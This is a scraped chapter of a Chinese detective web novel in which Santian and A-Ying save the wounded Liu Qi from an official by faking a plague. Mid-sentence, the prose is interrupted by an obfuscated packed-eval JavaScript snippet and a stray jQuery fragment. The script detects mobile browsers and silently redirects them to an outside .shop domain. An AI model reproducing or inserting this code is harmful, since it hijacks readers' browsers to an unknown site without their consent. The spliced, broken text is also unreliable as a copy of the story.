文趣网 > 都市小说 > 三天手札(探案) > 14. 青出于逐(14)
    三天粗略算了一下,从她让赵载渊放出消息这才过了六个时辰啊,人就找上门了。她还以为怎也得过个一天两天吧。

    这边柳七实在伤的太重,还没等三天问话,喝了两口水又晕过去了。

    一旁阿婴对着三天摇摇头说:“太重了,得明天醒。”

    明天。

    听到这个,三天最先思量到的是柳七的安全,衙门外这么多人都看到了,那些人肯定得到了消息,保不齐有人要杀人灭口。可要是连县衙都护不住人,更别提其他了。

    见三天满脸苦恼,阿婴觉得有趣极了。她好奇地仰起头,一双大眼睛滴溜溜地跟着三天,三天摇一次头她也摇一次。三天余光瞥见阿婴跟着摇头,忍不住弯下腰,手掌贴在她脸上然后向中间轻轻一挤。阿婴被挤成了小鸟嘴,也有样学样地捏三天的脸。

    “三千,你为什麽要介样。”阿婴说着,摇摇头,更像一只小鸟了。

    “我怕有人大晚上给他,咔擦了。”

    正说着,屋外传来一阵骚动。两人松开对方,只见一个三十多岁的棕色面皮方脸男人大踏步地走了进来,他穿着青色窄袖便服,系着银腰带,背后别着阔刀。身后,高世恩等人谄媚地跟着。

    男人进屋后一眼就看到了床上的柳七,大手一挥,身后几个训练有素的人立刻上前,看架势是要把柳七带走。

    “等等!这位....”三天看向高世恩,对方立刻上前一步介绍道:“这位是路兵马都监——韩歧,韩大人。”

    “这位大人”三天拱手行礼,但这位韩大人连一个眼神都没给她。三天并未在意,自顾自说道:“这是县衙的人,大人说带走就带走不合适吧。”

    韩歧冷哼一声,喷出一口粗气,朗声说:“本官怎么不知道带走一个逃犯还得经过高大人的允许。”

    这怎么又扯到他身上了。高世恩心里叫苦不迭,他这几天掉的头发比这半年的都多。但是,圆场又不能不打。于是深吸一口气,没想到一股轻微的死老鼠气息扑鼻而来。

    别让他逮到是谁打扫的这个屋子。高世恩心道。

    只能在心里摆摆架子的高大人一把拉过三天的胳膊,将她带到一旁的桌子后面,背对着韩歧等人,在三天耳边低声道:“三天姑娘,韩大人说了,这可是在青岚城流窜了许久的要犯,他要带走审问的。”

    “他犯什么罪了,就要抓。而且这一没文书,二不画押的就把人带走了,不合规矩吧。”

    “哎呦三天姑娘,你怎么糊涂了。”高世恩急得直拍手,这人威胁自己的时候什么事都门清,现在又傻起来了,也不知道是不是装的。

    “此话怎讲?”

    “这韩大人是恭亲王的人,那位”高世恩指了指南边,意思是去了南边青岚主城的赵载渊“也是恭亲王的人,这都是一家人,韩大人来要人,岂有不给之理。”

    “呵呵”三天的脸僵住了,只能干笑两声。别说一家人了,这不打起来都算是素养不错。

    “行了”韩歧不耐烦地声音传来,“把人带走。”

    “这,这不行啊,”三天急忙制止。

    “你要违抗本将军。”韩歧眼睛一瞪,只听“铮铮铮”几声,身后的护卫纷纷拔刀,雪白的刀光在烛光下差点没晃瞎高世恩的眼。

    “没有,没有。大人请,请。”高世恩也不知道哪来的力气,一把将三天拉到他身后。

    “这人身上有鼠疫!”三天大喝一声。

    一时间所有人不自觉地后退一步,举起袖子捂住口鼻。军营里的人最知道鼠疫的厉害,只要出现一个,那就是尸横遍野的惨剧。

    “胡说,带走。”好歹是当官的,韩歧当时就反应了过来,最近又无天灾人祸,哪有那么容易出现鼠疫。他粗黑的眉毛倒竖,一只大手握住背后的阔刀,脸上满是威胁。

    “不信你自己闻。”三天捂着口鼻“这屋里是不是一股死老鼠味。”

    还没等旁人说话,高世恩嗷的一声跳了起来,扶了下桌子才稳住身形,马不停蹄就地跑到了门外“将军啊,确实是有一股死老鼠味。”

    韩歧面上不显,还是忍不住退了出去。然后他拍了拍身边的一个小兵的肩膀:“你,去看看。”

    小兵咽了口唾沫,十分不情愿地跨过门槛。屋里比外面冷一些,凉气顺着后脖颈往上爬。那小兵又往前靠了几步,阿婴掩着面退到角落里,将一个小瓷瓶悄悄盖上。

    那小兵却不敢继续往前,只见床上有个被裹成茧的人,白布上满是渗出的血水。脸色灰白似潮湿的墙皮,鼻子还在一扇一扇地动着。

    他刚想说这人还活着,一个空灵的声音幽幽响起“他身上还有疙瘩。”

    “啊!”那小兵连滚带爬地跑了出去,一把抓住韩歧的衣角,哆哆嗦嗦地说:“将军是是是....”

    “滚。”韩歧一脚将人踹开,捂着嘴走了出去。

    就在三天以为这人要走时,变故陡生。韩歧从袖中飞出两只飞镖,直射在柳七的身上。

    昏迷中的柳七身子猛地一震,霎时连呼吸都没有了。

    韩歧冷笑一声,脸上止不住的得意。在三天愤怒的眼神里大摇大摆地走了。

    高世恩等人连忙跟上去,见人群远去,三天不敢松懈,阿婴已从墙角走出,将柳七身上的飞镖拔出来。

    “他还能行吗?”三天忧心地问。

    “没事,扎在胸口了。”阿

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17672988|207406||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    婴利落地涂药,重新包扎,飞速将柳七的血止住了。

    这时三天才长舒一口气,她忍不住上前抱住阿婴,温声道:“我们阿婴最厉害了。”

    阿婴得意地将手里的东西扔掉,然后在袖子里摸出一个将瓷瓶在三天眼前晃了晃,“不能让人咔擦了他。”

    刚刚高世恩走进来的时候,三天就嗅到了死老鼠的气息,她一下子明白了是阿婴做的。

    现在看来,柳七是保住了,不过县衙不能再呆了。

    三天脚下运气跃上房顶,直到远远看到韩歧一行人离开才松了口气。

    高世恩正准备要去将身上的衣物全拿去烧了,下一秒,三天忽然出现在他身后,一拍他的肩膀。

    “哎呦!”高世恩捂着胸口,脸皱成了包子褶。“三天姑娘啊,您行行好放过我吧。”

    “高大人你这话就不对了,可是你把我找来的。”

    “啊这”高世恩觉得自己现在就是拼尽全力抢到了一个金元宝,本以为要发达了,结果发现元宝是铁的一样,总之就是后悔,后悔啊。

    “行了别哎呦了,去找两个人把后边那个卷了送沈府去。”

    “三天姑娘啊,我是真不明白,这都是恭王府的人。”

    “什么恭不恭的,”三天薅了一把高世恩的胡子“赶紧去。”

    “姑奶奶哟,您饶了我吧。”高世恩觉得自己该给三天跪下来,奈何胡子在人家手里跪都跪不了。

    无奈,只能让他最心腹的王捕头出马。王捕头同另一个衙役,两个人拿了两床被子将柳七卷在里面,抬猪似的从后门出去,悄悄抬向了沈府。

    刘文直将柳七剩下的衣服烧了来掩人耳目,为了显得更真切,还在衣服里塞了后厨的半扇猪肉。

    怕柳七出意外,三天和阿婴也跟着回了沈府。

    谁知道一只脚踏进来,夏花又跑过来说瑶儿高热不退,让阿婴去瞧瞧。

    阿婴笑着应了,反倒是三天心中愧疚,这两天阿婴光治病了。这样想着,准备去小厨房亲自做点吃的和胭脂糕给阿婴。

    不得不说,沈逐是真有钱,这沈府修的跟迷宫似的。

    三天姑娘是绝对不会承认,找不到路是因为她大晚上分不清东西南北。

    她左拐右绕地,绕到了一处修葺不错的院子,见门没关,三天抬脚进去准备找个人领路。没想到,里面正屋里居然没人,左侧偏房一个小厮听到声音慌忙跑了出来。因着偏房有一处白色的沙地,那小厮跑的太急一脚踩到沙子险些摔倒。

    三天下意识快走两步,一脚踩进沙地中将人扶起来。

    “三,三天姑娘。”

    “你认识我?”三天好奇道。